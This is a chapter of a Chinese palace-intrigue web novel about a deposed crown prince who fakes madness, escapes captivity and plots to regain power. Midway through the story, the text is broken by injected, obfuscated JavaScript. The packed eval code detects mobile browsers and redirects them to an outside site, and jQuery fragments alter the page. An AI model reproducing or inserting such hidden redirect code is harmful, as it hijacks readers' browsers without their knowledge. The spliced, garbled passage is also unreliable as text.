暮色四合。
灰蓝色遍布天际,也漫过京郊的田庄上空。
李澜孑然一身立于院中一株老梅树下,疏落枝丫上最后几瓣残梅在料峭春风里瑟瑟颤抖着,终究还是飘零落下,混入尚未化尽的泥雪里。
十余年了。
距改变所有人命运的那场东宫的饮宴,已过去了十余年。
李澜抬手,接住一片打着旋儿落下的残梅。
花瓣早已失却鲜活的水色,干枯脆弱,在掌心轻轻一触,便碎了。
触景生情,若同他这些年头装疯卖傻的人生。
昭元最末的几个年头,父皇缠绵病榻,仍对他寄予厚望。
朝中清流文臣多视他为未来明君,牧之和阿青对他敬畏多于亲近。
他乃昭元帝第一任皇后之子,随了母亲的性子生得温润,质同璞玉。
在他尚在襁褓时,母亲便教导他,要做个勤政爱民的好君主。
他擅抚琴,通经史,一步步摸透了朝中的局势,赢得了大家伙的尊重。
很快,他在朝野的声望便远超他的两个弟弟,成为能承继大统的不二人选。
东宫饮宴这夜,丝竹盈耳,觥筹交错,众宾欢也。
十七岁的李青——他从小沉默寡言的三弟,亲自捧了杯清酒到他面前。
“皇兄,臣弟敬您。”少年李青表情淡淡,唯有目光是不自然的,刻意躲避着他的视线。
李澜接过酒杯一看,琥珀色的液体在琉璃盏中荡漾,映出宫灯迷离的光晕。
他其实早有预感,阿青的变化着实太大了,和往些日子会怯生生拽他衣袖讨教功课的稚嫩皇子判若两人。
他变得阴郁而独断,说话谨言慎行,不再去相信任何人。尤其在看向他这个太子皇兄时,冰壳之下,是掩藏不住的绝情野心。
李澜不明白李青对他的恨意从何而来,是因为父皇对他这个长子的偏爱么。
他只是没想到,阿青会选在那样的场合,用那样的方式,想要将他彻底变为废人。
阿青也是想不到罢,他并没有真正痴傻——
早有人冒死以谏,告知他饮宴真相,并伺机将毒酒掉了包。
“此物为‘消智散’,可令人神智降为三岁孩童。望殿下谨记啊!”说罢,宫人便咬舌自尽了。
于是他将计就计,三日后,也随着毒酒该有的症状,开始装疯卖傻。
他每日躺在冷宫冰冷潮湿的床板上,扮出难看的痴儿丑相,耳边总是有几个太监鄙夷地议论着他。
“真成了傻子了?啧啧,这个废太子,还不如死了干净……”
“小声点!李澜好歹是皇家血脉!”
“嘁,一个傻子,谁还当他是主子!新帝登基了,谁还记得这冷宫里还有个前太子呢?”
自饮宴后起,太子李澜彻底“痴傻”了,李青顺理成章,废掉了他一直忌惮的长兄。
在所有人眼中,他变成了个痴痴呆呆,口不能言,生活也不能自理的废人。
冷宫的日子里,日日夜夜的凌迟漫长得望不到头。
起初,还有宫人表面敷衍地照看着,太医奉命前来诊治。可随着李青帝位渐稳,赵太后在朝中亦如日中天,二人间火药味逐渐浓了,这位前太子便彻底成了被遗忘的尘埃。
送来的饭菜时常是馊的,物资克扣也是常事。冬日炭火不足,夏日蚊虫肆虐。
派来伺候他的太监和宫女们,多是宫中最不得势或犯了错的,他们将生活的不如意尽数发泄在这个“傻子”主子身上。
辱骂算是最轻的,更多的时候他们克扣他的饭食,看着他在满地饭渣里打滚乞食。抢走他仅有的御寒衣物,让他裸着身子接受众人的群嘲。甚至在他“发呆”时,故意用脚去踢踹他,看他一次又一次地狼狈倒地,发出嘻嘻哈哈的嘲笑。
“看哪,太子爷摔跤啦!”
“哪来的太子爷,就是个废物!哈哈哈哈哈哈,落毛的凤凰不如鸡!”
李澜从不反抗,任凭所有人对他落井下石。
经历过一阵狂风骤雨后,他总是孤零零地蜷缩在地上,嘴角流着涎水,发出无意义的呜咽声。
只有他腕间被自己掐出的疼痛,时时刻刻地提醒着他,他还活着,还清醒着。
痴傻是他的护身符。
只有痴傻才能在吃人的宫闱中活下去,才能让李青,李牧之和赵太后放松警惕,让可能还念着旧主的人,不至于因他而遭殃。
他学会了在无人的角落,用捡来的煤炭,在剥落的墙皮上,纸片上,记录下宫人交流时的只言片语。哪个官员被贬斥,北境又起了摩擦,后宫多了些什么风波。
先是李青,后是李牧之推行了哪些新政,民间又是如何怨声载道……
零碎的信息涌入脑中,他逐渐慢慢拼凑出宫墙外那个已然天翻地覆的世界。
他也学会了用最原始的方式去观察时机。
冷宫里有个对他还算存有善意的老宦官,总是偷偷藏下半块干硬的饼子塞给他。
欺凌他的宫人之间存有龃龉,可以加以利用。
看向窗外每日从墙头掠过的飞鸟,可以判断季节更迭。
更多的时候,他沉默地坐在冷宫荒芜的院子里,和自己耐心地交谈着。
他在等一个也许永远都不会到来的时机,也在反复咀嚼着一个问题:阿青,为什么想要将他至于残废之地。
他自问从未亏待过这个三弟,甚至因阿青生母早逝,性子孤僻,他给予的关注照拂比对待李牧之更多些。
他欣赏阿青的聪颖,也曾想过,将来自己登基定要重用他,让他一展才华。
可人心凉薄,换来的只有一杯毒酒啊。
难道至高无上的皇权,真的能让人性扭曲至此,连血脉亲情都能彻底碾碎么。
直到某一日,在几个醉酒宫人的闲谈时,他模糊听见了帝青暴毙的消息。
阿青,已经身死了……
当时,李澜正机械地啃着一块发霉的馒头,动作停滞了许久。
仇人已死,他并不觉得有多少快意,这又算什么呢。
倒不如阿青未死,待他羽翼丰满时,再决一死战。
再后来,陈君竹偷偷潜入冷宫来探望他。
是他“痴傻”后,第一个冒着巨大风险来看他的旧臣。
他眼睁睁看着曾身着锦袍,骑着快马,与他共论朝政的年轻人变得这样沉静疲惫,眼中满是愧疚。李澜要用尽全身力气,才能勉强维持住那副空洞呆滞的表情。
君竹带来了许多外面的消息,也留下了些银钱和药物。他不敢久留,匆匆离去。
李澜连他也没告诉——任何人,在时机尚未成熟前,都不应得知他痴傻的真相。
但从那以后,李澜就明白了他并非完全被遗忘。旧日忠诚于他的人,想要治世的初心并未改变。
他开始更加小心地筹划着,利用陈君竹偶尔对他的接济,暗中结交着冷宫里老实巴交的老宦官,一点一滴,艰难地铺设着可能的逃生之路。
整个过程漫长而绝望,几次险些暴露。但他还是凭着顽强的毅力,撑下来了。
直到李牧之登基的第四年,在一个风雨交加的深夜里,冷宫因年久失修塌了一角,引起了宫人的混乱。
在章旻安排的人手接应下,李澜终于抓住了这次稍纵即逝的机会,跟着对他好的老宦官,从狗洞爬出了囚禁他十年的牢笼。
逃出皇宫只是第一步。如何躲过追捕,生存下去,才是更大的难题。
逃生的路上,他遇见了家道中落的苏墨言,二人一拍即合,结为夫妻。
她是个工匠的女儿,父母死于横祸后独自流浪,因为不善言辞又醉心机关术,被视为怪人。
李澜见她手艺精湛,便将她留在身边。她的脑子灵光,总是蹦出来不少奇思妙想,能给他带来不少意想不到的启发。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255308|195067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
章旻将他们安置在京郊的偏僻田庄,庄户人家只知道新来的东家是个沉默寡言的落魄书生,还有个不爱说话的妻子。
墨言不问他来历,也不关心外界纷争。大部分时间都待在自己辟出的工房里,叮叮当当地制造着各种实用的物件。
她话极少,开口便直接提出要求,像她手中的尺规般,准确而冷静。
李澜有时会看着她忙碌的背影发呆。
想到东宫精致华美却无甚用处的摆件,朝堂上辞藻华丽而空洞无物的奏对。
这个女子和她所代表的那种务实的力量,是他前半生从未真正接触过的。
田庄的日子里,他们过的清苦而平静。
种菜,读书,听墨言讲解她新改进的农具原理,偶尔从章旻等旧臣那里得到些外界的消息。
他像真正的隐居者那样低调的生活着,慢慢修复着十余年被囚而保守摧残的身心。
通过章旻,他小心地联络着散落各处的旧部,暗自观察着朝局。分析着李牧之的每一次决策失误,计算着民心的背离。
与此同时,他也得知了“林青”的出现,听说了陈君竹与她的牵扯和牧之那桩蹊跷的赐婚。
起初他并未将“林青”与李青联系起来。
直到陈君竹应邀来访,全程回避了他的问题,且表现得极其不自然——他才发觉,君竹有事情在瞒着他。
作为少时的至交,君竹若是撒谎,他是能察觉的。
而阿青和君竹,在少时又有过一段交好的时日。
荒诞的猜想在他心中成形着:阿青并没有死。
不仅没死,还换了副女子的身躯,改头换面地重新回到了权力漩涡的中心。
若真是如此,还真是宿命因果了。
李澜长叹一声。
此刻,他坐于田庄简陋的书房里,听着章旻禀报着朝内最新的动向。
章先生是个文官,没多大权势,但的确是从始至终唯一一个站在他这边的人。
他呢,也终于从漫长的蛰伏中恢复过来,蓄势待发了。
“章先生,我们的人,渗透得如何了?”
“回殿下,朝内几个忠于您的旧臣得知风声,皆点头称是。京畿大营几位将领是顾将军旧部,对顾将军之死心存不满,或可争取。薛家那边,薛怀简态度暧昧,其父薛相仍在狱中,残余势力是一把双刃剑。”章旻一一禀报。
“不急。李牧之刚愎自用,急功近利,破绽只会越来越多。”
他淡淡一笑,作揖道:“至于‘林青’,便劳烦您继续观察了。若她真是阿青,我想知道,经历生死轮回,她究竟还想做些什么。”
不会是还想要重蹈覆辙,不择手段地夺回皇位?
答案啊,需要亲眼见证。
“赐婚一事,对我们而言利大于弊,目前需护君竹和她的周全。”
“是。”章旻领命,悄然退下。
章旻走后,李澜独自坐了许久,从怀中取出个磨损得厉害好的旧锦囊在手中把玩。
打开来,里面是枚青玉雕刻的海棠花佩。
是很多年前,阿青还是个孩子时,在他生辰那天偷偷塞给他的。这块玉雕工稚嫩,却是那个沉默寡言的孩子,为数不多表达亲近的礼物。
李澜把玩着温润的玉饰,眼前浮现出偷看他和君竹商议事务,被发现后慌忙躲在廊柱后的小小身影。
本该相亲相爱,各有所长的三兄弟,又为何会走到今天这一步呢。
过了一会儿,他唤墨言拿了纸笔,准备书信一封。
“打算写给谁呢?”苏墨言倒是讶异地问了一句。
他笑着答:“赫连史那。我有些条件,想同他谈谈。”
李澜还是太子时曾出使北戎,同北戎大将赫连史那颇有些交情。此番内部渗透的不错,外部么,也要提上些时日了。
他这柄蛰伏的刃,出鞘之日,已经不远了。